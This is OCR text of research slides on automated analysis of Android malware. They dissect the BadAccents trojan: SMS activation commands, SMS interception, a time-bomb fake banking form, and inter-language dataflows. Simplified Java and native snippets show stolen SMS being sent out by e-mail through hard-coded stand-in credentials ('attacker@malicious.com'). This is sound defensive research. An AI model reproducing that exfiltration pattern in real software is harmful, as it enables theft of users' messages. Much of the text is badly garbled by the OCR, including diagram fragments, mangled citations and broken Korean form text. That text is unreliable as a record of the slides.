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Intent-Fuzzing
(Behavior Analysis)

DroidFuzzer[MoMM’ | 3],
IntentFuzzer [WODA' 4],
Andrubis [BADGERS’ 4]

Symbolic/Concolic

Execution

Acteve[FSE’|12], Rozzle
[Oakland’12]

Dataflow Analysis

FlowDroid [PLDI’14],
TaintDroid [OSDI’10]

Machine Learning

CHABADA [ICSFE’ 4],
Mudflow [ICSE’ 5]
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APPS WIDGETS

Inspection of the
Emulator

- Network Sniffing
- SMS interception

Security Report
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s this sufficient enough!
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s this sufficient enough?

Meet the Most Successful
Malware on Google Play: Nearly
1M Users in 4 Months

Posted 07/08/2015 by Tianfang & filed under malware, potentially unwanted app, zero-day.
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Android/BadAccents
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e
infected >20,000 user
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Malware Code-analysis
Components Challenges
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SMS E-I‘fail

|

/ Activation \
— Component

SMS
Interception

Trojan
HTTP

\ Environment /
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y/ > | Send SMS \

HTTP I

Environment

.

Contacts File System

\J /

|. Contact’s phone number > 5 digits

2. Contact’s phone number stored into File

3. SMS text sent via C&C server (Internet
connection necessary)
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® Checks for

/ CActivation incoming number
omponent
+84... or +82...

® Receives
commands from

the C&C server

Environment

File System

o /
©
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® SMS activation
command: ak40 |

\ (deactivation ak40 0)

® Reads E-Mail
credentials from
native code

Interception
® Steals incoming SMS

via E-Mail and HTTP

\ Environment

File System Native /

E-Mail HTTP
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user = stringUser(); Java.
pw = stringPassword();

saveToFile("musername", user);

saveToFile("mpass", pw);

Interception

sendIncomingSMSViaMail( readFromFile("musername"),

readFromFile("mpass™));

Environment

Native

jstring Java_stringUser() {

F,Ie System return "attacker@malicious.com";
\ 2L

jstring Java_stringPassword() {

Native

return "superSecurePW";
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User

S

Banking

Trojan

Environment

File System

Time Bomb
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User

C

/ § Banking
Trojan
5

Environment

File System

Time Bomb

\&

1/
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Security Alert
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/ Banking — z
Trojan

% E-Mail

Environment \

i
File System| | Time Bomb/ —

User

\&

(previous person check (previous security center
A— A
(certificate password) ord =010l olH 1 ObM|Ef

AZM A

O =E2MHIA XE F > 0 HOLMH|A A =
(glasme) (secure mode) (password) (secure modezj
OlNHYH 2 {(6~10 Zt2]) ]
|
= 2o7lc 8 HusH 232 (Please enter the security
(ok) (cancel) FUSK/UZ (social security number) 01 08 15 29 ,gcard correctly)
02 09 16 23 30
|:> 03 10 17 24 31
AXMS (account number) ‘> . . 8 o -
(- glo] ¢=) 05 12 19 26 33
06 13 20 27 34
A EH|YM S (account password) - ” . - -

S24zt2|

(next) (cancel)

(next) (cancel)
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3 / q Banking —> .
) Trojan ,

E-Mail
User 4

Environment \

i
File System| | Time Bomb/ TP

\&

® Wiaiting time: 30 minutes
® DER-formated certificates on file system

® |nstalled korean banking applications
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Code Analysis
Challenges

RQI: Can we automatically trigger malicious
behavior (dynamically)?
RQ2: Can we automatically extract the E-mail

credentials (statically)?

SOFTWARE ENGINEERING
GROUP

SECURE 13 N . EC SPRIDE
A D 4

C




RQI - Dynamic-Challenge:
Generate Proper External Events

-

. ® Specific events need
SMS to be sent

! ® Ordering of events is

/ Activation Important
Component _ .
l ® Simple fuzzing
approaches not

SIME sufficient

terceptio
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RQI - Dynamic-Challenge:
Correct Environment Setup

For a single App:

Environment

Specific Apps | | Specific Files | |Specific Contacts

Timing Bomb
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RQ?2 - Static-Challenge:
Inter-Language Dataflows

Java i Native

user = stringUser(); E jstring Java_stringUser() {

pw = stringPassword(); E return "attacker@malicious.com";
saveToFile("musername"”, user); E }

saveToFile("mpass", pw);

jstring Java_stringPassword() {
sendIncomingSMSViaMail( ; return "superSecurePW";

readFromFile("musername"), : }

readFromFile("mpass")

)5
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RQ?2 - Static-Challenge:
Inter-Language Dataflows

Java i Native

user = stringUser(); E jstring Java_stringUser() {

pw = stringPassword(); E return "attacker@malicious.com";
saveToFile("musername"”, user); E } |

saveToFile("mpass", pw);

jstring Java_stringPassword() {
sendIncomingSMSViaMail( ; return "superSecurePW";

readFromFile("musername"), : }

readFromFile("mpass")

)5
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Code Analysis
P Challenges
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Siegfried Rasthofer

Secure Software Engineering Group (EC-SPRIDE)
Email: siegfried.rasthofer@cased.de

Blog: http://sse-blog.ec-spride.de

Website: http://sse.ec-spride.de
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